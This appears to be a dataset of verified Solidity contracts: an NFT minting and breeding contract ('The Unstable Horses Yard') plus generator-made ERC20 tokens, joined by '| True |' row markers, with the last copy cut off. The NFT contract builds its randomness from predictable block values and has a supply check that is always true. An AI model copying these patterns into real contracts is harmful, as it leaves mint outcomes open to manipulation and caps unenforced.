require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
pragma solidity ^0.8.0;
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
mapping (uint256 => string) private _tokenURIs;
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.0;
library Counters {
struct Counter {
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
}
// File contracts/Musto.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.8.0;
contract TheUnstableHorsesYard is ERC721URIStorage {
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
// horse own;
address public owner;
uint public total_No_Tokens = 1000;
uint public total_No_TokensRemaining = total_No_Tokens;
uint public total_No_Horses = 999;
uint public total_No_HorsesRemaining = total_No_Horses;
uint public owner_Horses = 1;
uint public owner_HorsesRemaining = owner_Horses;
uint public nextTokenId = 1;
uint public maxHorsesMintInOnce = 3;
uint public price = 30000000000000000; // 0.03 ETH
bool public sale = true; // false
uint256 public startingIpfsId = 0;
uint256 private _lastIpfsId = 0;
uint256 public start = 1;
mapping(uint => bool) public exist;
// farm juice own;
mapping(address => uint) public farmJuices_Owner;
mapping(address => bool) public farmJuices_Own;
uint private FarmJuice_newTokenId = 1000001;
uint public farmJuices = 1000;
uint public farmJuicesRemaining = farmJuices;
uint public farmJuicesTransfered = 0;
// Breed section;
uint public total_No_HorsesBreed = 0;
uint public StartIndex_HorsesBreed = 100000000001;
uint public NextIndex_HorsesBreed = StartIndex_HorsesBreed;
event Minted(address to, uint id, string uri);
event PriceUpdated(uint newPrice);
event OwnerUpdated(address newOwner);
address payable fundWallet;
string public baseUri ;
string public FarmJuice_baseUri ;
string public breed_baseUri ;
constructor(address _fundWallet, string memory _baseUri, string memory _FarmJuice_baseUri, string memory _breed_baseUri) ERC721("The Unstable Horses Yard", "TUHY") {
owner = msg.sender;
fundWallet = payable(_fundWallet);
baseUri = _baseUri;
FarmJuice_baseUri = _FarmJuice_baseUri;
breed_baseUri = _breed_baseUri;
}
function fundWalletView() public view returns(address){
require(msg.sender == owner || msg.sender == fundWallet, "Only owner");
return fundWallet;
}
function fundWalletUpdate(address _fundWallet) public returns(address){
require(msg.sender == owner || msg.sender == fundWallet, "Only owner");
fundWallet = payable(_fundWallet);
}
/* Mint Horses only OWNER */
function mint_owner(address to) public {
require(msg.sender == owner || msg.sender == fundWallet, "Only owner can transfer");
require(owner_HorsesRemaining >= 0, "mint token limit exceeds");
if(total_No_Tokens == total_No_TokensRemaining) {
_lastIpfsId = random(1, total_No_Tokens, uint256(uint160(address(_msgSender()))) + 1);
startingIpfsId = _lastIpfsId;
} else {
_lastIpfsId = getIpfsIdToMint();
}
total_No_TokensRemaining--;
owner_HorsesRemaining--;
require(exist[nextTokenId] == false, "Mint: Token already exist.");
string memory tokenURI = string(abi.encodePacked(baseUri, uint2str(_lastIpfsId)));
_mint(to, nextTokenId);
_setTokenURI(nextTokenId, (tokenURI));
exist[nextTokenId] = true;
nextTokenId++;
}
/* Mint Horses */
function mint(uint numberOfMints) public payable {
require(sale == true, "sale is off");
require(numberOfMints > 0, "minimum 1 token need to be minted");
require(numberOfMints <= maxHorsesMintInOnce, "max horses mint limit exceeds");
require(total_No_HorsesRemaining - numberOfMints >= 0, "mint token limit exceeds, check how many remaining to mint."); //10000 item cap (9900 public + 100 team mints)
require(msg.value >= price * numberOfMints, "price is not correct."); //User must pay set price.`
for (uint256 i = 0; i < numberOfMints; i++) {
if(total_No_Tokens == total_No_TokensRemaining) {
_lastIpfsId = random(1, total_No_Tokens, uint256(uint160(address(_msgSender()))) + 1);
startingIpfsId = _lastIpfsId;
} else {
_lastIpfsId = getIpfsIdToMint();
}
total_No_TokensRemaining--;
total_No_HorsesRemaining--;
require(exist[nextTokenId] == false, "Mint: Token already exist.");
string memory tokenURI = string(abi.encodePacked(baseUri, uint2str(_lastIpfsId)));
_mint(msg.sender, nextTokenId);
_setTokenURI(nextTokenId, (tokenURI));
exist[nextTokenId] = true;
nextTokenId++;
}
// this(address).transfer(msg.value);
}
/* Farm Juice */
function farmJuice_Mint(address player) public { // there is no fund transfer because only owner can mint FARM Juices.
require(msg.sender == owner || msg.sender == fundWallet, "Only owner can mint");
require(farmJuicesRemaining > 0, "All farm juices transfered.");
require(farmJuices_Own[player] == false, "User already own farmJuice");
farmJuicesRemaining--;
farmJuicesTransfered++;
farmJuices_Owner[player] = FarmJuice_newTokenId;
farmJuices_Own[player] = true;
string memory FarmJuice_URI = string(abi.encodePacked(FarmJuice_baseUri));
_mint(player, FarmJuice_newTokenId);
_setTokenURI(FarmJuice_newTokenId, FarmJuice_URI);
FarmJuice_newTokenId++;
}
/* Breed Horse */
function Breed(address player, uint token1_ID, uint token2_ID) public {
require(farmJuices_Own[msg.sender] == true, "User should own farm Juice for Breeding");
require(ownerOf(token1_ID) == msg.sender, "User should own Token 1");
require(ownerOf(token2_ID) == msg.sender, "User should own Token 2");
string memory tokenURI = string(abi.encodePacked(breed_baseUri, uint2str(NextIndex_HorsesBreed)));
_mint(player, NextIndex_HorsesBreed);
_setTokenURI(NextIndex_HorsesBreed, tokenURI);
NextIndex_HorsesBreed += 1;
total_No_HorsesBreed += 1;
burn(token1_ID);
burn(token2_ID);
}
//random number
function random( uint256 from, uint256 to, uint256 salty ) private view returns (uint256) {
uint256 seed =
uint256(
keccak256(
abi.encodePacked(
block.timestamp +
block.difficulty +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (block.timestamp)) +
block.gaslimit +
((uint256(keccak256(abi.encodePacked(_msgSender())))) / (block.timestamp)) +
block.number +
salty
)
)
);
uint randomData = 0;
if( (seed.mod(to - from) + from) <= total_No_Horses ){
randomData = seed.mod(to - from) + from;
} else {
randomData = total_No_Horses / 2;
}
return randomData;
}
function getIpfsIdToMint() public view returns(uint256 _nextIpfsId) {
require(total_No_TokensRemaining > 0, "All tokens have been minted");
if(_lastIpfsId == total_No_Tokens && nextTokenId < total_No_Tokens) {
_nextIpfsId = start; // 2
} else if(nextTokenId <= total_No_Tokens) {
_nextIpfsId = _lastIpfsId + 1;
}
}
function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len;
while (_i != 0) {
k = k - 1;
uint8 temp = (48 + uint8(_i - (_i / 10) * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
function update_FarmJuice_URI(string memory newFarmJuice_URI) public{
require(msg.sender == owner || msg.sender == fundWallet, "only owner");
FarmJuice_baseUri = newFarmJuice_URI;
}
function update_FarmJuice_limit(uint add_newTokens) public{
require(msg.sender == owner || msg.sender == fundWallet, "Only owner");
farmJuices += add_newTokens;
farmJuicesRemaining += add_newTokens;
}
function burn(uint256 _tokenId) public {
require(_exists(_tokenId), "Burn: token does not exist.");
require(ownerOf(_tokenId) == _msgSender(), "Burn: caller is not token owner.");
_burn(_tokenId);
}
function balancer() public view returns (uint256){
return address(this).balance;
}
function update_Tokens_Limit(uint add_newTokens) public{
require(msg.sender == owner || msg.sender == fundWallet, "Only owner");
start = total_No_Tokens + 1;
_lastIpfsId = total_No_Tokens;
total_No_Tokens += add_newTokens ;
total_No_Horses += (add_newTokens - 99) ;
total_No_TokensRemaining += add_newTokens;
total_No_HorsesRemaining = (add_newTokens - 99);
price = 40000000000000000; // 0.04 ETH
maxHorsesMintInOnce = 15;
owner_Horses += 99;
owner_HorsesRemaining += 99;
}
function update_Mint_per_Tx(uint _num) public{
require(msg.sender == owner || msg.sender == fundWallet, "Only owner");
maxHorsesMintInOnce = _num;
}
function update_Owner(address newOwner) public{
require(msg.sender == owner || msg.sender == fundWallet);
owner = newOwner;
emit OwnerUpdated(newOwner);
}
function update_price(uint newprice) public{
require(msg.sender == owner || msg.sender == fundWallet);
price = newprice;
emit PriceUpdated(newprice);
}
function changeSale() public{
require(msg.sender == owner || msg.sender == fundWallet);
sale = !sale;
}
function withdraw() public{
require(msg.sender == owner || msg.sender == fundWallet, "Only owner");
payable(fundWallet).transfer(address(this).balance);
}
function update_URI(string memory new_URI) public{
require(msg.sender == owner || msg.sender == fundWallet, "only owner");
baseUri = new_URI;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-09-19
*/
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor(address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor(string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/HelloERC20.sol
pragma solidity ^0.8.0;
/**
* @title HelloERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the HelloERC20
*/
contract HelloERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.2.0") {
constructor(
string memory name_,
string memory symbol_,
address payable feeReceiver_
) payable ERC20(name_, symbol_) ServicePayer(feeReceiver_, "HelloERC20") {
_mint(_msgSender(), 10000e18);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-03
*/
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
